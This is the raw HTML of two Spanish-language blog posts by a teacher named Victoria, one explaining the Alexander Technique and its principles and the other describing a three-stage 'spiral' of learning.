<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy6JN2uhDl03CgLKCBORem7BYsqR4L8sfb-yIqujGLApindI8vVLPAgikFmBvU-Y-Cpm5cLSkDhRhgJFcBrrXgF0lbXCQq4erpz2WTLp9EbA3G36Ga5H-G4hjMru5V4HuRz7LPdmhANXkb/s1600/mirror.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy6JN2uhDl03CgLKCBORem7BYsqR4L8sfb-yIqujGLApindI8vVLPAgikFmBvU-Y-Cpm5cLSkDhRhgJFcBrrXgF0lbXCQq4erpz2WTLp9EbA3G36Ga5H-G4hjMru5V4HuRz7LPdmhANXkb/s1600/mirror.jpg" /></a></div>
<div style="text-align: center;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Definir
la Técnica Alexander, de tal forma que se entienda por quienes no la han experimentado,
no es sencillo. Esto se debe a que es una técnica netamente basada en la
experiencia con nuestros propios sentidos. Pero voy a hacer mi mejor intento...<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">En abstracto,
la Técnica Alexander es una <b><u><span style="color: #c00000;">reeducación del sentido kinestésico</span></u></b>, o
sea, nuestra sensación de movimiento (<i>kine</i>:
movimiento, <i>estesia</i>: percepción). Esto
no ‘dice’ mucho, lo sé, y es que explicar la Técnica Alexander a quien no la ha
experimentado tiene algo parecido a explicar el viento. Decir: “El</span><span lang="ES-UY"> </span><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">viento</span><span lang="ES-UY"> <span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">es el flujo de
gases a gran escala” o “el viento es la
compensación de las diferencias de presión atmosférica entre dos puntos”, sólo
tiene sentido ‘real’ para quien haya experimentado los efectos del viento en
primera persona.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Quizás
el dilema tiene raíz en que la ‘técnica’ que desarrolló el señor <u>Frederick
Matthias Alexander</u> no es una serie de manipulaciones ni de ejercicios, sino
<b><u><span style="color: #c00000;">una serie
de ‘principios’ <a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Qu%C3%A9%20es%20la%20T%C3%A9cnica%20Alexander.docx#_ftn1" name="_ftnref1" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><b><u><span lang="ES-UY" style="color: #c00000; font-family: "calibri" , "sans-serif"; font-size: 14.0pt; line-height: 115%;">[1]</span></u></b></span><!--[endif]--></span></a> que rigen nuestro
proceder</span></u></b>. El profesor de Técnica Alexander <u>da cuerpo y vida a
estos principios en su propia persona</u> (ya que de eso se trató su exhaustivo
entrenamiento<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Qu%C3%A9%20es%20la%20T%C3%A9cnica%20Alexander.docx#_ftn2" name="_ftnref2" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span lang="ES-UY" style="font-family: "calibri" , "sans-serif"; font-size: 14.0pt; line-height: 115%;">[2]</span></span><!--[endif]--></span></a>),
y es principalmente a través de esta ‘encarnación’ de los principios que los
comunica al alumno mediante el uso de las manos y la palabra.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Dado
que no hay una serie de técnicas ni ejercicios específicos que aplicar, en las
clases de Técnica Alexander lo que se realiza en concreto depende mucho de <u>los
intereses y estilo de cada profesor</u>, y de las <u><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2016/01/3-inesperados-beneficios-de-aprender.html" target="_blank">necesidades y objetivos del alumno</a></u>. Es por esto que puedes encontrar clases de Técnica Alexander en
las que se trabaja principalmente con aspectos posturales, o vocales, o
aplicaciones a la danza, al deporte, o al lenguaje y expresión corporal.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Esta
variedad de aplicaciones radica en que <b><span style="color: #c00000;">la Técnica Alexander busca generar un cambio en la
reacción total que tenemos a los estímulos del ambiente</span></b> (externo e
interno). Se busca lograr este cambio desde los hábitos que rigen nuestro
movimiento, <u>y como consecuencia nuestro pensamiento</u>.<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Qu%C3%A9%20es%20la%20T%C3%A9cnica%20Alexander.docx#_ftn3" name="_ftnref3" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span lang="ES-UY" style="font-family: "calibri" , "sans-serif"; font-size: 14.0pt; line-height: 115%;">[3]</span></span><!--[endif]--></span></a><o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">En el
<u>proceso re-educativo</u> que supone una serie de clases de Técnica
Alexander, indefectiblemente <b><u><span style="color: #c00000;">lo primero es volvernos conscientes de nuestros hábitos</span></u></b>.
El profesor trabaja como un <u>espejo</u>, ayudándonos a percibir las tensiones
inconscientes que nos llevan a realizar ‘<u>movimientos parásitos’</u>
(innecesarios para la acción que nos propusimos), y a descubrir qué ideas,
sobre nosotros mismos y nuestro funcionamiento, <u>se esconden detrás de esas
tensiones</u>.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Una
vez percibido lo hasta entonces ignorado, el profesor nos ayuda a encontrar
otro posible camino para nuestra reacción; uno que se adecúe más al <u>diseño
anatómico y funcional</u> de nuestro sistema mente-cuerpo.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Lamento
no poder profundizar más en mi explicación de qué es la Técnica Alexander, pero
temo que hemos llegado al punto en que las palabras ya no pueden suplantar la
experiencia. Por tanto, si te interesa ahondar más en el tema te sugiero
contactar un profesor y tener tu primera clase.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">En
América Latina, puedes encontrar profesores a través de las Escuelas de
formación en Argentina, Brasil, y Uruguay, o puedes unirte al grupo de Facebook
de <u><a href="https://www.facebook.com/groups/328240950709260/" target="_blank">Técnica Alexander América Latina</a></u> y hacer tus preguntas allí.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Suerte
en tu búsqueda.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">- Victoria<o:p></o:p></span></b></div>
<br />
<div>
<!--[if !supportFootnotes]--><br clear="all" />
<hr align="left" size="1" width="33%" />
<!--[endif]-->
<br />
<div id="ftn1">
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Qu%C3%A9%20es%20la%20T%C3%A9cnica%20Alexander.docx#_ftnref1" name="_ftn1" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span style="font-family: "calibri" , "sans-serif"; font-size: 11.0pt; line-height: 115%;">[1]</span></span><!--[endif]--></span></a> <b><span lang="ES-UY" style="color: #c00000; font-size: 10.0pt;">Estos
principios son:<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;">1.</span></b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;"> Reconocimiento de la <b><u><span style="color: #c00000;">Unidad
Mente-Cuerpo</span></u></b><o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;">2.</span></b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;"> Reconocimiento de la <b><u><span style="color: #c00000;">Fuerza del
Hábito</span></u></b><o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;">3.</span></b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;"> Reconocimiento de la
importancia del “<b><u><span style="color: #c00000;">Control Primario</span></u></b>” en la coordinación de nuestra
respuesta a un estímulo.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;">4.</span></b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;"> Reconocimiento que nuestro <b><u><span style="color: #c00000;">Uso afecta nuestro
Funcionamiento</span></u></b><o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;">5.</span></b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;"> Reconocimiento de la
importancia de la <b><u><span style="color: #c00000;">Dirección de nuestro Uso</span></u></b> de nosotros
mismos.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;">6.</span></b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;"> Reconocimiento de la
importancia de la <b><u><span style="color: #c00000;">Inhibición</span></u></b> de las respuestas innecesarias.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;">7.</span></b><span lang="ES-UY" style="font-size: 10.0pt; mso-ansi-language: ES-UY;"> Reconocimiento de la
prevalencia e incidencia de la <b><u><span style="color: #c00000;">Apreciación Sensorial Descalibrada</span></u></b></span><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"><o:p></o:p></span></div>
<div class="MsoFootnoteText">
<br /></div>
</div>
<div id="ftn2">
<div class="MsoFootnoteText">
<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Qu%C3%A9%20es%20la%20T%C3%A9cnica%20Alexander.docx#_ftnref2" name="_ftn2" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span style="font-family: "calibri" , "sans-serif"; font-size: 10.0pt; line-height: 115%;">[2]</span></span><!--[endif]--></span></a><span lang="ES-UY"> Las formaciones aprobadas por la <u><span style="color: #c00000;"><a href="http://www.alexandertechnique.co.uk/" target="_blank">Sociedad de Profesores de Técnica Alexander (STAT)</a></span></u>,
con sede en el Reino Unido, exigen una formación de no menos de 3 años (1600
horas), en las que el núcleo principal del aprendizaje del futuro profesor se
basa en incorporar los principios de la Técnica Alexander a su propio “uso de
sí mismo”, antes de que se le permita trabajar con la unidad mente-cuerpo de
otra persona. Esto lo diferencia de otras técnica corporales y psicológicas en
las que el eje del aprendizaje está en aprender cómo aplicar diferentes
técnicas sobre un paciente.<o:p></o:p></span></div>
<div class="MsoFootnoteText">
<span lang="ES-UY"><br /></span></div>
</div>
<div id="ftn3">
<div class="MsoFootnoteText">
<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Qu%C3%A9%20es%20la%20T%C3%A9cnica%20Alexander.docx#_ftnref3" name="_ftn3" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span style="font-family: "calibri" , "sans-serif"; font-size: 10.0pt; line-height: 115%;">[3]</span></span><!--[endif]--></span></a> <span lang="ES-UY">La Técnica Alexander no
suplanta la terapia psicológica, ni la rehabilitación
fisioterapéutica-kinesiológica, sino que <u>las complementa y las potencia</u>.<o:p></o:p></span></div>
</div>
</div>
</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-70647136422286663202016-01-12T16:24:00.000-03:002016-01-12T16:24:03.382-03:00La Espiral del Aprendizaje<div class="MsoQuote" style="margin-bottom: 0.0001pt; text-align: left;">
<span lang="ES-UY" style="color: #943634; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-themecolor: accent2; mso-themeshade: 191;">Avanzar
es encontrarte en el mismo lugar de ayer…y verlo con nuevos ojos.<o:p></o:p></span></div>
<div align="center" class="MsoQuote" style="margin-bottom: 0.0001pt; text-align: center;">
<span lang="ES-UY" style="color: #943634; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-themecolor: accent2; mso-themeshade: 191;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9_P3ZOGxlfoDMj0X3gkD_O3oL2MRB6i_5haQSZQ6tGR4DNtmqQq5DbuRIaRBmPgnMlDm-O0rVNlwyULH10dLckmnAxfwOA8ubIjTGFN_v1VqMVHwANBZLIbj2-6tu7pJprtEP_FCFsy6E/s1600/spiral+learning+staircase.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9_P3ZOGxlfoDMj0X3gkD_O3oL2MRB6i_5haQSZQ6tGR4DNtmqQq5DbuRIaRBmPgnMlDm-O0rVNlwyULH10dLckmnAxfwOA8ubIjTGFN_v1VqMVHwANBZLIbj2-6tu7pJprtEP_FCFsy6E/s1600/spiral+learning+staircase.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">En
mi búsqueda por entenderlo todo, en las búsquedas de mis alumnos, en todos los
procesos de aprendizaje de los que soy protagonista, acompañante o espectador,
me encuentro una y otra vez con que <span style="color: #943634; mso-themecolor: accent2; mso-themeshade: 191;">damos vueltas en círculos pero ganamos en
profundidad. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #943634; mso-themecolor: accent2; mso-themeshade: 191;"><br /></span></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Una
y otra vez se suceden 3 etapas:<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<b><span lang="ES-UY" style="color: #943634; font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-themecolor: accent2; mso-themeshade: 191;">Etapa 1: Encuentro con la idea<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14pt; line-height: 115%;">La idea la podemos encontrar de varias formas. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14pt; line-height: 115%;">Por ejemplo, leyendo mi blog te vas a topar más de una vez con la idea
de “darse espacio”. Si la idea no resuena contigo la pasarás de largo y no
pasará nada. Pero si la idea resuena contigo, será como una semilla que
encuentra tierra fértil y hecha raíz.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Esto
puede tener varios efectos, que se dan en la segunda etapa.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<b><span lang="ES-UY" style="color: #943634; font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-themecolor: accent2; mso-themeshade: 191;">Etapa 2: Investigación y reflexión<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br />
Una idea que hecha raíz empieza a guiar nuestra búsqueda, generando su propio “ecosistema
de ideas asociadas”.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Por
ejemplo, si la idea de “darte espacio” echa raíces en ti puede que quieras leer
más sobre el tema, o empieces a ver analogías por doquier donde no te estás
dando suficiente espacio.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Llega
un momento en que quedamos atiborrados de datos y reflexiones al respecto de la
idea. Estamos prontos entonces para la tercera etapa.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<b><span lang="ES-UY" style="color: #943634; font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-themecolor: accent2; mso-themeshade: 191;">Etapa 3: Práctica e integración<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Una
idea que no se pone a prueba en la vida diaria es como una semilla que largó
raíz pero no llegó a largar su tallo. Es en la práctica, en la “cancha”, donde nuestra
comprensión de la idea se encuentra con la “realidad”; y es ésta la que nos
espeja cuán profunda es en nosotros la raíz de nuestra idea.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Por
ejemplo, cuando yo intento llevar a la práctica la idea de “darme espacio para
respirar antes de reaccionar” me encuentro con que no es tan fácil. Me
encuentro con que la simple idea de “darme espacio” tiene varias capas, como
una cebolla: hay capas de hábitos mentales, físicos, emocionales, ambientales
que me impiden llevar a cabo la simple acción de “parar antes de reaccionar”. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Es
acá donde la cosa se pone interesante. Una idea chiquita toma raíz, se anida en
mí, y me empieza a mostrar un ecosistema entero de reacciones psico-físicas. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">¿Quizás
no estoy entendiendo bien la idea? ¿Quizás la idea no es válida?<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="separator" style="clear: both;">
</div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Sin
darme cuenta estoy en la etapa 1 otra vez. Me encontré nuevamente con La Idea. Es
entonces cuando tengo la opción de abandonarla y buscar otra idea… o entrar en
otra vuelta de la espiral. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 18.6667px; line-height: 21.4667px;"><span style="color: #990000;">- Victoria</span></span></div>
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